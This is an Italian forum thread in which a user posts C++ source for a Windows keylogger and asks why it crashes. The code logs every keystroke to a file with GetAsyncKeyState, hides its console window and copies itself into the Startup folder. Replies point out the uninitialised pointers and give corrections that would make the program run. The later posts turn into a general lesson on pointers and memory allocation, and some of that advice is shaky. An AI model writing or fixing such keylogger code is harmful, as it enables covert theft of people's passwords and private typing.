C/C++ - KeyLogger, Compilazione OK, Ma eseguibile Crasha

Ragazzi come da titolo, la compilazione non mi da nessun errore, ma quando lo eseguo crasha con quella fastidiosa finestra che ti dice invia errore, non inviare ecc.
Questo è il codice di una ultra beta super beta, a quanto pare l'errore pero' sta nella funzione void:

/* Dimostration KeyLogger v.Beta
Author: __GiReX__
Language: C++
It's a dimostration for my friend IAN
*/
#include <iostream>
#include <windows.h>
#include <cstring>
#include <fstream>
using namespace std;

void nasc_sposta();

int main()
{
    nasc_sposta();
    ofstream log;
      while(1)
        {
          for(int i = 48; i<= 255; i++){
            if(GetAsyncKeyState(i)== -32767)
            {
              log.open("log.txt", ios::app);
              log << (char)i;
              log.close();
            }

        }

    }
    return 0;
}

void nasc_sposta()
{
   char disco[255], utente[255], *user_path;
  DWORD *a;
   GetSystemDirectory(disco, 255);
   GetUserName(utente, a);
    strncpy(user_path, disco, 2);
     strcat(user_path, "\Documents and Settings\");
     strcat(user_path, utente);
     strcat(user_path, "\Menu Avvio\Programmi\Esecuzione automatica\key.exe");
   HWND invisibile;
     invisibile = FindWindow("ConsoleWindowClass", NULL);
     ShowWindow(invisibile, SW_HIDE);
     MoveFile("key.exe", user_path);
}

Attenzione attenzione, quando usi i puntatori devi sempre ricordarti di allocare la memoria necessaria prima di usarli, altrimenti quando li passi ad una funzione che ne sa il programma su quale spazio di memoria memorizzare il risultato?

Prova con:

   char disco[255], utente[255], [b]*user_path[/b];
  [b]DWORD *a;[/b]

[b]user_path = new char[255];[/b]
[b]a = new DWORD[0];[/b]

Anche se non vedo il motivo per il quale hai dichiarato un puntatore ad una DWORD, una sintassi semanticamente più corretta potrebbe essere:

   char disco[255], utente[255], [b]user_path[255][/b];
  [b]DWORD a;[/b]

E ovviamente quando richiami la funzione apposita non dimenticarti la e-commerciale:

   GetUserName(utente, [b]&[/b]a);

In effetti hai ragione, facevo un grave errore concettuale di fondo.
Comunque non vedo quale sia il motivo per cui il compilatore non mi avvisi di questo grave errore.

questo tipo di errore è il "puntatore nullo" (o null pointer in inglese), ed è un errore molto ricorrente.

Il motivo per cui il compilatore non può segnalarlo è che quando allochi i puntatori vengono allocati nello heap e a run-time quindi non può sapere prima se va a buon fine o se manca proprio l'allocazione, ti mostro un codice di esempio:

..
int* i;
cin >> dataIns;
if(dataIns > dataoOggi) i = new int[200];
*i = 9;
...

come vedi il fatto di allocare o non allocare dipende da come si evolve il programma in esecuzione, e in certi casi può avvenire una dereferenziazione di un puntatore nullo, ovvero che non punta ad un oggetto, o meglio, che punta ad un indirizzo alla AC/DC (Alla Ca**o Di Cane ) che potrebbe essere protetto e quindi non permettere la scrittura o non esistere o sovrascrivere altri prog o appartenere a altri tipi di dato ecc... causando i famosi segment fault e altri crash.

Immagina una variabile normale che dichiari e il compilatore già alloca (nello stack però, quando non la inizializzi in C/C++ rischi semplicemente di usare dati presi a casaccio nella memoria, ma cmq alla peggio il programma spara risultati fasulli, per quanto riguarda i puntatori invece, quando sono nulli a casaccio non è il valore contenuto dalla variabile, ma il suo indirizzo il che, appunto causa crash veri e propri.

Se vuoi difenderti da questo errori inizializza tutti i puntatori che non allochi subito a NULL e controlla prima di usarli che il valore sia diverso, o in alternativa per fare il debug skilloso usa le assertion.

Scusate se ri-apro qst topic ma me lo ero perso..
Quindi (a quanto ho capito) l'allocazione dinamica la devo eseguire:
quando si parla di puntatori in generale? o solo puntatori stringa (char*)?
Ah e un 'altra cosa, li si deve SEMPRE alloccare o questi erano casi particolari?

questa cosa riguarda tutti i puntatori, dai tipi base, alle classi fino a i puntatore a puntatore a puntatore (es. int*** a)

Li si deve sempre allocare, o almeno dargli il valore NULL per poter fare un controllo e vedere se è un puntatore allocato o no.

Ma scusa se io assegno un indrizzo ad un puntatore devo comunque allocarlo?

cioè

int main()
char pranzo[6] = "pasta";
char *cena = &pranzo;

qui dovevo prima alloccarlo?

e qui?

char *os;
*os = "Linux";

Scusa ma ho ancora dei dubbi e approfitto della vostra competenza...

attento, se tu fai

char* os;
*os = "ciao"

hai un errore, perchè un puntatore a carattere punta ad UN carattere, poi il puntatore, con la sua aritmetica, può essere letto avanti e indietro formando, ad esempio, stringhe.
Ma se tu lo dereferenzi con * ottieni la zona di memoria a cui punta, e qundi un semplice char, quindi *os NON è il puntatore, ma la zona di memoria a cui punta, il che vuol dire che tu puoi fare così:

char* os;
*os = 'a'

non mettere una stringa (dovresti in qual caso fare un puntatore a puntatore: char**, o mettere la stringa dentro os, senza dereferenzazione)

Per quanto riguarda

char pranzo[6] = "pasta";
char *cena = &pranzo;

anche qui ti da errore, perchè &pranzo da l'indirizzo di un puntatore, quindi un puntatore a puntatore, cena dovrebbe (come il caso di prima) essere un char**, MA in questo caso c'è una complicazione in più, la stringa precedente è allocata staticamente con l'array(che è un puntatore al suo primo elemento) char pranzo[6], quindi il compilatore C++ da un errore dicendo che non può convertire un char(*)[6] in un char** perchè nel secondo vettore manca proprio la dimensione 6.
O quindi fai così:

char* pranzo = "pasta";
char** cena = &pranzo;

o fai un bel cast che forza la conversione a puntatore a puntatore non allocato:

char pranzo[6] = "pasta";
char** cena = (char**) &pranzo;

e in questo caso non sono esclusi errori visto che uno è allocato a 6 e l'altro no

In questo caso anche se sembra che non venga allocato niente è semplicemente fatto tutto dal compilatore, perchè quando usi le stringhe build-in quindi quelle con "" fa tutto il compilatore perchè conosce la dimensione da allocare, quando usi & per ottenere l'indirizzo ottieni l'indirizzo di UNA variabile, anche se è variabile puntatore; il fatto poi che quel puntatore punti magari al primo elemento di un migliaio di elementi resta una sola variabile e quindi non serve allocargli più spazio di quallo che già ha di suo il tipo di dato.
L'importante è che il puntatore non sia nullo, e quindi punti a qualcosa di concreto e previsto (a zone di memoria vuote con malloc, a stringhe con "", ad altre variabili ottenendo l'addr con & ecc..)